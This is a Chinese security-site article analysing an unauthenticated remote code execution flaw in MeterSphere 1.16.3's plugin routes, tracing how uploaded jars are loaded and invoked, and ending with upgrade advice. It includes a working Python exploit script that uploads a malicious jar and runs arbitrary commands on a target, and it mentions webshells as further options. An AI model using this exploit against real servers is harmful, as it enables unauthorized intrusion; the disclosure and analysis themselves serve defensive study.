freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

MeterSphere未授权导致的rce漏洞分析、复现、exp编写
2022-02-11 10:05:42
所属地 吉林省

背景

MeterSphere是一站式开源持续测试平台, 涵盖测试跟踪、接口测试、性能测试、 团队协作等功能,兼容JMeter等开源标准,有效助力开发和测试团队充分利用云弹性进行高度可扩展的自动化测试,加速高质量的软件交付,推动中国测试行业整体效率的提升。

2022年1月5日知道创宇404积极防御实验室团队发现了MeterSphere开源持续测试平台的一处新的远程代码执行漏洞

分析

metersphere 官方新发布的1.16.4版本对漏洞进行了修复
看下修复详情:看起来就是删除了/plugin路由。所以目标范围缩小到了/plugin路由里

下载1.16.3的源码,分析一波
打开后发现是前后端分离的,我们需要分析的是后端,所以直接用idea打开backend,搜索/plugin,找到路由对应方法


先看/add,看起来是上传插件,看下editPlugin方法


再看loadJar:这个方法把jar包加到了loadpath中(这种写法相当于固定搭配,把jar包添加到load path中,后面加载类时会从这个路径查询)

再回头看下getSubClass方法:读取jar包名对应的配置文件,再根据配置文件对类进行加载,这里因为我们没法写入配置文件,所以这一步会报错,返回NULL

因为classes为NULL,所以/plugin/add路由运行到这里就结束了

至此,总结下,通过/plugin/add,我们可以上传任意jar包,jar包会被添加进load path,只要能加载、并初始化类,就能任意代码执行

再继续看其它路由,list、get、delete是插件的删除查找,先跳过,看下/customMethod
看下customMethod方法:加载类,并调用类的customMethod方法

这里加载、实例化的类,来自request

看一下PluginRequest类:lombok库会在运行时,会向有Data注解的类的字节码中写入get和set方法,最终得到类似javaBean的class

所以,getEntry、getRequest就是获取entry、request参数

至此,这个漏洞就明了了,上传插件时会将jar包路径添加到load path,后面再通过/customMethod,实例化jar包中的class,并调用customMethod方法,导致命令执行

POC编写

先是构造恶意jar包

把exp2打包jar包,上传插件
如图,代码执行成功

任意代码执行,利用姿势很多,可以命令执行、写webshell、内存马等
本篇就以命令执行为例,写个exp

import requests
import sys
import base64
import json

if len(sys.argv) != 3:
    print('python exp.py <target> upload/<cmd>')
    print('例: \n先上传后门:python exp.py http://1.1.1.1:8081 upload\n命令执行:python exp.py http://1.1.1.1:8081 whoami\n')
    exit(0)
baseJar='<base64编码有敏感字符串,放评论区了>'
url1=sys.argv[1]
cmd=sys.argv[2]
if cmd == 'upload':
    req = requests.post(url1+'/plugin/add',files = {'file': ('exp.jar', base64.b64decode(baseJar.encode('utf-8')), 'text/plain')})
    if '解析插件失败,未找到入口配置' in req.content.decode('utf-8'):
        print('上传成功')
    else:
        print('漏洞不存在')
else:
    header = {
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36'
    }
    req = requests.post(url1+'/plugin/customMethod',data='{"entry":"exec","request":"'+cmd+'"}',headers=header)
    try:
        res = json.loads(req.content.decode('utf-8'))
        print(res['data'])
    except:
        print('出错')

总结

在上传插件时,将jar包存到了load path路径,配合customMethod,就可以实例化jar包中的类,并调用customMethod方法,导致任意代码执行

修复建议

升级最新版或手动关闭plugin功能

# 漏洞分析 # 代码审计 # 漏洞分析,WEB安全 # 漏洞分析与复现 # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录